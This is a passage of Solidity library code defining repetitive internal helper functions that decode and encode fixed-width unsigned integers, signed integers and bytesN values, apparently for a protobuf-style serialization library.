function _decode_sol_uint8(uint256 p, bytes memory bs)
internal
pure
returns (uint8, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(1, p, bs);
return (uint8(r), sz);
}
function _decode_sol_uint16(uint256 p, bytes memory bs)
internal
pure
returns (uint16, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(2, p, bs);
return (uint16(r), sz);
}
function _decode_sol_uint24(uint256 p, bytes memory bs)
internal
pure
returns (uint24, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(3, p, bs);
return (uint24(r), sz);
}
function _decode_sol_uint32(uint256 p, bytes memory bs)
internal
pure
returns (uint32, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(4, p, bs);
return (uint32(r), sz);
}
function _decode_sol_uint40(uint256 p, bytes memory bs)
internal
pure
returns (uint40, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(5, p, bs);
return (uint40(r), sz);
}
function _decode_sol_uint48(uint256 p, bytes memory bs)
internal
pure
returns (uint48, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(6, p, bs);
return (uint48(r), sz);
}
function _decode_sol_uint56(uint256 p, bytes memory bs)
internal
pure
returns (uint56, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(7, p, bs);
return (uint56(r), sz);
}
function _decode_sol_uint64(uint256 p, bytes memory bs)
internal
pure
returns (uint64, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(8, p, bs);
return (uint64(r), sz);
}
function _decode_sol_uint72(uint256 p, bytes memory bs)
internal
pure
returns (uint72, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(9, p, bs);
return (uint72(r), sz);
}
function _decode_sol_uint80(uint256 p, bytes memory bs)
internal
pure
returns (uint80, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(10, p, bs);
return (uint80(r), sz);
}
function _decode_sol_uint88(uint256 p, bytes memory bs)
internal
pure
returns (uint88, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(11, p, bs);
return (uint88(r), sz);
}
function _decode_sol_uint96(uint256 p, bytes memory bs)
internal
pure
returns (uint96, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(12, p, bs);
return (uint96(r), sz);
}
function _decode_sol_uint104(uint256 p, bytes memory bs)
internal
pure
returns (uint104, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(13, p, bs);
return (uint104(r), sz);
}
function _decode_sol_uint112(uint256 p, bytes memory bs)
internal
pure
returns (uint112, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(14, p, bs);
return (uint112(r), sz);
}
function _decode_sol_uint120(uint256 p, bytes memory bs)
internal
pure
returns (uint120, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(15, p, bs);
return (uint120(r), sz);
}
function _decode_sol_uint128(uint256 p, bytes memory bs)
internal
pure
returns (uint128, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(16, p, bs);
return (uint128(r), sz);
}
function _decode_sol_uint136(uint256 p, bytes memory bs)
internal
pure
returns (uint136, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(17, p, bs);
return (uint136(r), sz);
}
function _decode_sol_uint144(uint256 p, bytes memory bs)
internal
pure
returns (uint144, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(18, p, bs);
return (uint144(r), sz);
}
function _decode_sol_uint152(uint256 p, bytes memory bs)
internal
pure
returns (uint152, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(19, p, bs);
return (uint152(r), sz);
}
function _decode_sol_uint160(uint256 p, bytes memory bs)
internal
pure
returns (uint160, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(20, p, bs);
return (uint160(r), sz);
}
function _decode_sol_uint168(uint256 p, bytes memory bs)
internal
pure
returns (uint168, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(21, p, bs);
return (uint168(r), sz);
}
function _decode_sol_uint176(uint256 p, bytes memory bs)
internal
pure
returns (uint176, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(22, p, bs);
return (uint176(r), sz);
}
function _decode_sol_uint184(uint256 p, bytes memory bs)
internal
pure
returns (uint184, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(23, p, bs);
return (uint184(r), sz);
}
function _decode_sol_uint192(uint256 p, bytes memory bs)
internal
pure
returns (uint192, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(24, p, bs);
return (uint192(r), sz);
}
function _decode_sol_uint200(uint256 p, bytes memory bs)
internal
pure
returns (uint200, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(25, p, bs);
return (uint200(r), sz);
}
function _decode_sol_uint208(uint256 p, bytes memory bs)
internal
pure
returns (uint208, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(26, p, bs);
return (uint208(r), sz);
}
function _decode_sol_uint216(uint256 p, bytes memory bs)
internal
pure
returns (uint216, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(27, p, bs);
return (uint216(r), sz);
}
function _decode_sol_uint224(uint256 p, bytes memory bs)
internal
pure
returns (uint224, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(28, p, bs);
return (uint224(r), sz);
}
function _decode_sol_uint232(uint256 p, bytes memory bs)
internal
pure
returns (uint232, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(29, p, bs);
return (uint232(r), sz);
}
function _decode_sol_uint240(uint256 p, bytes memory bs)
internal
pure
returns (uint240, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(30, p, bs);
return (uint240(r), sz);
}
function _decode_sol_uint248(uint256 p, bytes memory bs)
internal
pure
returns (uint248, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(31, p, bs);
return (uint248(r), sz);
}
function _decode_sol_uint256(uint256 p, bytes memory bs)
internal
pure
returns (uint256, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(32, p, bs);
return (uint256(r), sz);
}
function _decode_sol_int(uint256 p, bytes memory bs)
internal
pure
returns (int256, uint256)
{
return _decode_sol_int256(p, bs);
}
function _decode_sol_intN(uint8 n, uint256 p, bytes memory bs)
internal
pure
returns (int256, uint256)
{
(bytes32 u, uint256 sz) = _decode_sol_bytesN_lower(n, p, bs);
int256 r;
assembly {
r := u
r := signextend(sub(sz, 4), r)
}
return (r, sz);
}
function _decode_sol_bytes(uint8 n, uint256 p, bytes memory bs)
internal
pure
returns (bytes32, uint256)
{
(bytes32 u, uint256 sz) = _decode_sol_bytesN(n, p, bs);
return (u, sz);
}
function _decode_sol_int8(uint256 p, bytes memory bs)
internal
pure
returns (int8, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(1, p, bs);
return (int8(r), sz);
}
function _decode_sol_int16(uint256 p, bytes memory bs)
internal
pure
returns (int16, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(2, p, bs);
return (int16(r), sz);
}
function _decode_sol_int24(uint256 p, bytes memory bs)
internal
pure
returns (int24, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(3, p, bs);
return (int24(r), sz);
}
function _decode_sol_int32(uint256 p, bytes memory bs)
internal
pure
returns (int32, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(4, p, bs);
return (int32(r), sz);
}
function _decode_sol_int40(uint256 p, bytes memory bs)
internal
pure
returns (int40, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(5, p, bs);
return (int40(r), sz);
}
function _decode_sol_int48(uint256 p, bytes memory bs)
internal
pure
returns (int48, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(6, p, bs);
return (int48(r), sz);
}
function _decode_sol_int56(uint256 p, bytes memory bs)
internal
pure
returns (int56, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(7, p, bs);
return (int56(r), sz);
}
function _decode_sol_int64(uint256 p, bytes memory bs)
internal
pure
returns (int64, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(8, p, bs);
return (int64(r), sz);
}
function _decode_sol_int72(uint256 p, bytes memory bs)
internal
pure
returns (int72, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(9, p, bs);
return (int72(r), sz);
}
function _decode_sol_int80(uint256 p, bytes memory bs)
internal
pure
returns (int80, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(10, p, bs);
return (int80(r), sz);
}
function _decode_sol_int88(uint256 p, bytes memory bs)
internal
pure
returns (int88, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(11, p, bs);
return (int88(r), sz);
}
function _decode_sol_int96(uint256 p, bytes memory bs)
internal
pure
returns (int96, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(12, p, bs);
return (int96(r), sz);
}
function _decode_sol_int104(uint256 p, bytes memory bs)
internal
pure
returns (int104, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(13, p, bs);
return (int104(r), sz);
}
function _decode_sol_int112(uint256 p, bytes memory bs)
internal
pure
returns (int112, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(14, p, bs);
return (int112(r), sz);
}
function _decode_sol_int120(uint256 p, bytes memory bs)
internal
pure
returns (int120, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(15, p, bs);
return (int120(r), sz);
}
function _decode_sol_int128(uint256 p, bytes memory bs)
internal
pure
returns (int128, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(16, p, bs);
return (int128(r), sz);
}
function _decode_sol_int136(uint256 p, bytes memory bs)
internal
pure
returns (int136, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(17, p, bs);
return (int136(r), sz);
}
function _decode_sol_int144(uint256 p, bytes memory bs)
internal
pure
returns (int144, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(18, p, bs);
return (int144(r), sz);
}
function _decode_sol_int152(uint256 p, bytes memory bs)
internal
pure
returns (int152, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(19, p, bs);
return (int152(r), sz);
}
function _decode_sol_int160(uint256 p, bytes memory bs)
internal
pure
returns (int160, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(20, p, bs);
return (int160(r), sz);
}
function _decode_sol_int168(uint256 p, bytes memory bs)
internal
pure
returns (int168, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(21, p, bs);
return (int168(r), sz);
}
function _decode_sol_int176(uint256 p, bytes memory bs)
internal
pure
returns (int176, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(22, p, bs);
return (int176(r), sz);
}
function _decode_sol_int184(uint256 p, bytes memory bs)
internal
pure
returns (int184, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(23, p, bs);
return (int184(r), sz);
}
function _decode_sol_int192(uint256 p, bytes memory bs)
internal
pure
returns (int192, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(24, p, bs);
return (int192(r), sz);
}
function _decode_sol_int200(uint256 p, bytes memory bs)
internal
pure
returns (int200, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(25, p, bs);
return (int200(r), sz);
}
function _decode_sol_int208(uint256 p, bytes memory bs)
internal
pure
returns (int208, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(26, p, bs);
return (int208(r), sz);
}
function _decode_sol_int216(uint256 p, bytes memory bs)
internal
pure
returns (int216, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(27, p, bs);
return (int216(r), sz);
}
function _decode_sol_int224(uint256 p, bytes memory bs)
internal
pure
returns (int224, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(28, p, bs);
return (int224(r), sz);
}
function _decode_sol_int232(uint256 p, bytes memory bs)
internal
pure
returns (int232, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(29, p, bs);
return (int232(r), sz);
}
function _decode_sol_int240(uint256 p, bytes memory bs)
internal
pure
returns (int240, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(30, p, bs);
return (int240(r), sz);
}
function _decode_sol_int248(uint256 p, bytes memory bs)
internal
pure
returns (int248, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(31, p, bs);
return (int248(r), sz);
}
function _decode_sol_int256(uint256 p, bytes memory bs)
internal
pure
returns (int256, uint256)
{
(int256 r, uint256 sz) = _decode_sol_intN(32, p, bs);
return (int256(r), sz);
}
function _decode_sol_bytes1(uint256 p, bytes memory bs)
internal
pure
returns (bytes1, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(1, p, bs);
return (bytes1(r), sz);
}
function _decode_sol_bytes2(uint256 p, bytes memory bs)
internal
pure
returns (bytes2, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(2, p, bs);
return (bytes2(r), sz);
}
function _decode_sol_bytes3(uint256 p, bytes memory bs)
internal
pure
returns (bytes3, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(3, p, bs);
return (bytes3(r), sz);
}
function _decode_sol_bytes4(uint256 p, bytes memory bs)
internal
pure
returns (bytes4, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(4, p, bs);
return (bytes4(r), sz);
}
function _decode_sol_bytes5(uint256 p, bytes memory bs)
internal
pure
returns (bytes5, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(5, p, bs);
return (bytes5(r), sz);
}
function _decode_sol_bytes6(uint256 p, bytes memory bs)
internal
pure
returns (bytes6, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(6, p, bs);
return (bytes6(r), sz);
}
function _decode_sol_bytes7(uint256 p, bytes memory bs)
internal
pure
returns (bytes7, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(7, p, bs);
return (bytes7(r), sz);
}
function _decode_sol_bytes8(uint256 p, bytes memory bs)
internal
pure
returns (bytes8, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(8, p, bs);
return (bytes8(r), sz);
}
function _decode_sol_bytes9(uint256 p, bytes memory bs)
internal
pure
returns (bytes9, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(9, p, bs);
return (bytes9(r), sz);
}
function _decode_sol_bytes10(uint256 p, bytes memory bs)
internal
pure
returns (bytes10, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(10, p, bs);
return (bytes10(r), sz);
}
function _decode_sol_bytes11(uint256 p, bytes memory bs)
internal
pure
returns (bytes11, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(11, p, bs);
return (bytes11(r), sz);
}
function _decode_sol_bytes12(uint256 p, bytes memory bs)
internal
pure
returns (bytes12, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(12, p, bs);
return (bytes12(r), sz);
}
function _decode_sol_bytes13(uint256 p, bytes memory bs)
internal
pure
returns (bytes13, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(13, p, bs);
return (bytes13(r), sz);
}
function _decode_sol_bytes14(uint256 p, bytes memory bs)
internal
pure
returns (bytes14, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(14, p, bs);
return (bytes14(r), sz);
}
function _decode_sol_bytes15(uint256 p, bytes memory bs)
internal
pure
returns (bytes15, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(15, p, bs);
return (bytes15(r), sz);
}
function _decode_sol_bytes16(uint256 p, bytes memory bs)
internal
pure
returns (bytes16, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(16, p, bs);
return (bytes16(r), sz);
}
function _decode_sol_bytes17(uint256 p, bytes memory bs)
internal
pure
returns (bytes17, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(17, p, bs);
return (bytes17(r), sz);
}
function _decode_sol_bytes18(uint256 p, bytes memory bs)
internal
pure
returns (bytes18, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(18, p, bs);
return (bytes18(r), sz);
}
function _decode_sol_bytes19(uint256 p, bytes memory bs)
internal
pure
returns (bytes19, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(19, p, bs);
return (bytes19(r), sz);
}
function _decode_sol_bytes20(uint256 p, bytes memory bs)
internal
pure
returns (bytes20, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(20, p, bs);
return (bytes20(r), sz);
}
function _decode_sol_bytes21(uint256 p, bytes memory bs)
internal
pure
returns (bytes21, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(21, p, bs);
return (bytes21(r), sz);
}
function _decode_sol_bytes22(uint256 p, bytes memory bs)
internal
pure
returns (bytes22, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(22, p, bs);
return (bytes22(r), sz);
}
function _decode_sol_bytes23(uint256 p, bytes memory bs)
internal
pure
returns (bytes23, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(23, p, bs);
return (bytes23(r), sz);
}
function _decode_sol_bytes24(uint256 p, bytes memory bs)
internal
pure
returns (bytes24, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(24, p, bs);
return (bytes24(r), sz);
}
function _decode_sol_bytes25(uint256 p, bytes memory bs)
internal
pure
returns (bytes25, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(25, p, bs);
return (bytes25(r), sz);
}
function _decode_sol_bytes26(uint256 p, bytes memory bs)
internal
pure
returns (bytes26, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(26, p, bs);
return (bytes26(r), sz);
}
function _decode_sol_bytes27(uint256 p, bytes memory bs)
internal
pure
returns (bytes27, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(27, p, bs);
return (bytes27(r), sz);
}
function _decode_sol_bytes28(uint256 p, bytes memory bs)
internal
pure
returns (bytes28, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(28, p, bs);
return (bytes28(r), sz);
}
function _decode_sol_bytes29(uint256 p, bytes memory bs)
internal
pure
returns (bytes29, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(29, p, bs);
return (bytes29(r), sz);
}
function _decode_sol_bytes30(uint256 p, bytes memory bs)
internal
pure
returns (bytes30, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(30, p, bs);
return (bytes30(r), sz);
}
function _decode_sol_bytes31(uint256 p, bytes memory bs)
internal
pure
returns (bytes31, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytes(31, p, bs);
return (bytes31(r), sz);
}
function _decode_sol_bytes32(uint256 p, bytes memory bs)
internal
pure
returns (bytes32, uint256)
{
return _decode_sol_bytes(32, p, bs);
}
/*
* `_encode_sol*` are the concrete implementation of encoding Solidity types
*/
function _encode_sol_address(address x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(uint160(x)), 20, p, bs);
}
function _encode_sol_uint(uint256 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 32, p, bs);
}
function _encode_sol_uint8(uint8 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 1, p, bs);
}
function _encode_sol_uint16(uint16 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 2, p, bs);
}
function _encode_sol_uint24(uint24 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 3, p, bs);
}
function _encode_sol_uint32(uint32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 4, p, bs);
}
function _encode_sol_uint40(uint40 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 5, p, bs);
}
function _encode_sol_uint48(uint48 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 6, p, bs);
}
function _encode_sol_uint56(uint56 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 7, p, bs);
}
function _encode_sol_uint64(uint64 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 8, p, bs);
}
function _encode_sol_uint72(uint72 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 9, p, bs);
}
function _encode_sol_uint80(uint80 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 10, p, bs);
}
function _encode_sol_uint88(uint88 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 11, p, bs);
}
function _encode_sol_uint96(uint96 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 12, p, bs);
}
function _encode_sol_uint104(uint104 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 13, p, bs);
}
function _encode_sol_uint112(uint112 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 14, p, bs);
}
function _encode_sol_uint120(uint120 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 15, p, bs);
}
function _encode_sol_uint128(uint128 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 16, p, bs);
}
function _encode_sol_uint136(uint136 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 17, p, bs);
}
function _encode_sol_uint144(uint144 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 18, p, bs);
}
function _encode_sol_uint152(uint152 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 19, p, bs);
}
function _encode_sol_uint160(uint160 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 20, p, bs);
}
function _encode_sol_uint168(uint168 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 21, p, bs);
}
function _encode_sol_uint176(uint176 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 22, p, bs);
}
function _encode_sol_uint184(uint184 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 23, p, bs);
}
function _encode_sol_uint192(uint192 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 24, p, bs);
}
function _encode_sol_uint200(uint200 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 25, p, bs);
}
function _encode_sol_uint208(uint208 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 26, p, bs);
}
function _encode_sol_uint216(uint216 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 27, p, bs);
}
function _encode_sol_uint224(uint224 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 28, p, bs);
}
function _encode_sol_uint232(uint232 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 29, p, bs);
}
function _encode_sol_uint240(uint240 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 30, p, bs);
}
function _encode_sol_uint248(uint248 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 31, p, bs);
}
function _encode_sol_uint256(uint256 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(uint256(x), 32, p, bs);
}
function _encode_sol_int(int256 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(x, 32, p, bs);
}
function _encode_sol_int8(int8 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 1, p, bs);
}
function _encode_sol_int16(int16 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 2, p, bs);
}
function _encode_sol_int24(int24 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 3, p, bs);
}
function _encode_sol_int32(int32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 4, p, bs);
}
function _encode_sol_int40(int40 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 5, p, bs);
}
function _encode_sol_int48(int48 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 6, p, bs);
}
function _encode_sol_int56(int56 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 7, p, bs);
}
function _encode_sol_int64(int64 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 8, p, bs);
}
function _encode_sol_int72(int72 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 9, p, bs);
}
function _encode_sol_int80(int80 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 10, p, bs);
}
function _encode_sol_int88(int88 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 11, p, bs);
}
function _encode_sol_int96(int96 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 12, p, bs);
}
function _encode_sol_int104(int104 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 13, p, bs);
}
function _encode_sol_int112(int112 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 14, p, bs);
}
function _encode_sol_int120(int120 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 15, p, bs);
}
function _encode_sol_int128(int128 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 16, p, bs);
}
function _encode_sol_int136(int136 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 17, p, bs);
}
function _encode_sol_int144(int144 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 18, p, bs);
}
function _encode_sol_int152(int152 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 19, p, bs);
}
function _encode_sol_int160(int160 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 20, p, bs);
}
function _encode_sol_int168(int168 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 21, p, bs);
}
function _encode_sol_int176(int176 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 22, p, bs);
}
function _encode_sol_int184(int184 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 23, p, bs);
}
function _encode_sol_int192(int192 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 24, p, bs);
}
function _encode_sol_int200(int200 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 25, p, bs);
}
function _encode_sol_int208(int208 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 26, p, bs);
}
function _encode_sol_int216(int216 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 27, p, bs);
}
function _encode_sol_int224(int224 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 28, p, bs);
}
function _encode_sol_int232(int232 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 29, p, bs);
}
function _encode_sol_int240(int240 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 30, p, bs);
}
function _encode_sol_int248(int248 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(int256(x), 31, p, bs);
}
function _encode_sol_int256(int256 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol(x, 32, p, bs);
}
function _encode_sol_bytes1(bytes1 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 1, p, bs);
}
function _encode_sol_bytes2(bytes2 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 2, p, bs);
}
function _encode_sol_bytes3(bytes3 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 3, p, bs);
}
function _encode_sol_bytes4(bytes4 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 4, p, bs);
}
function _encode_sol_bytes5(bytes5 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 5, p, bs);
}
function _encode_sol_bytes6(bytes6 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 6, p, bs);
}
function _encode_sol_bytes7(bytes7 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 7, p, bs);
}
function _encode_sol_bytes8(bytes8 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 8, p, bs);
}
function _encode_sol_bytes9(bytes9 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 9, p, bs);
}
